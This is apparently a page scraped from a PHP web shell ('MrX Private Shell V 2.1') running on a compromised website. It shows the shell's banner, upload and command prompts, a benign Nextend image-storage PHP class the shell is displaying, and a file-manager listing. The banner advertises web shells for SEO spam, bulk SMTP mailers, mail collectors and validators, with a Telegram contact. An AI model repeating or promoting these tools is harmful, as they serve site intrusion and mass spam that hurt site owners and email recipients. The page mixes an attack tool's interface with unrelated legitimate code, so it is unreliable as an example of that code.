__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Image;

use Nextend\Framework\Database\AbstractPlatformConnectorTable;
use Nextend\Framework\Database\Database;
use Nextend\Framework\Misc\Base64;

class ImageStorage {

    /**
     * @var AbstractPlatformConnectorTable
     */
    private $tableImageStorage;

    public static $emptyImage = array(
        'desktop-retina' => array(
            'image' => ''
        ),
        'tablet'         => array(
            'image' => ''
        ),
        'mobile'         => array(
            'image' => ''
        )
    );

    public function __construct() {
        $this->tableImageStorage = Database::getTable("nextend2_image_storage");
    }

    public function getById($id) {
        return $this->tableImageStorage->findByAttributes(array(
            "id" => $id
        ));
    }

    public function getByImage($image) {
        static $cache = array();

        if (!isset($cache[$image])) {
            $cache[$image] = $this->tableImageStorage->findByAttributes(array(
                "hash" => md5($image)
            ));
        }

        return $cache[$image];
    }

    public function setById($id, $value) {

        if (is_array($value)) {
            $value = Base64::encode(json_encode($value));
        }

        $result = $this->getById($id);

        if ($result !== null) {
            $this->tableImageStorage->update(array('value' => $value), array(
                "id" => $id
            ));

            return true;
        }

        return false;
    }

    public function setByImage($image, $value) {

        if (is_array($value)) {
            $value = Base64::encode(json_encode($value));
        }

        $result = $this->getByImage($image);

        if ($result !== null) {
            $this->tableImageStorage->update(array('value' => $value), array(
                "id" => $result['id']
            ));

            return true;
        }

        return false;
    }

    public function getAll() {
        return $this->tableImageStorage->findAllByAttributes(array(), array(
            "id",
            "hash",
            "image",
            "value"
        ));
    }

    public function set($image, $value) {

        if (is_array($value)) {
            $value = Base64::encode(json_encode($value));
        }

        $result = $this->getByImage($image);

        if (empty($result)) {
            return $this->add($image, $value);
        } else {
            $attributes = array(
                "id" => $result['id']
            );
            $this->tableImageStorage->update(array('value' => $value), $attributes);

            return true;
        }
    }

    public function add($image, $value) {

        if (is_array($value)) {
            $value = Base64::encode(json_encode($value));
        }

        $this->tableImageStorage->insert(array(
            "hash"  => md5($image),
            "image" => $image,
            "value" => $value
        ));

        return $this->tableImageStorage->insertId();
    }

    public function deleteById($id) {

        $this->tableImageStorage->deleteByAttributes(array(
            "id" => $id
        ));

        return true;
    }

    public function deleteByImage($image) {

        $this->tableImageStorage->deleteByAttributes(array(
            "hash" => md5($image)
        ));

        return true;
    }
}

Filemanager

Name Type Size Permission Actions
Block Folder 0775
Joomla Folder 0775
AbstractPlatformImage.php File 184 B 0664
ControllerAjaxImage.php File 2.53 KB 0664
Image.php File 1.87 KB 0664
ImageEdit.php File 25.02 KB 0664
ImageManager.php File 1.53 KB 0664
ImageStorage.php File 3.28 KB 0664
ModelImage.php File 2.34 KB 0664
Filemanager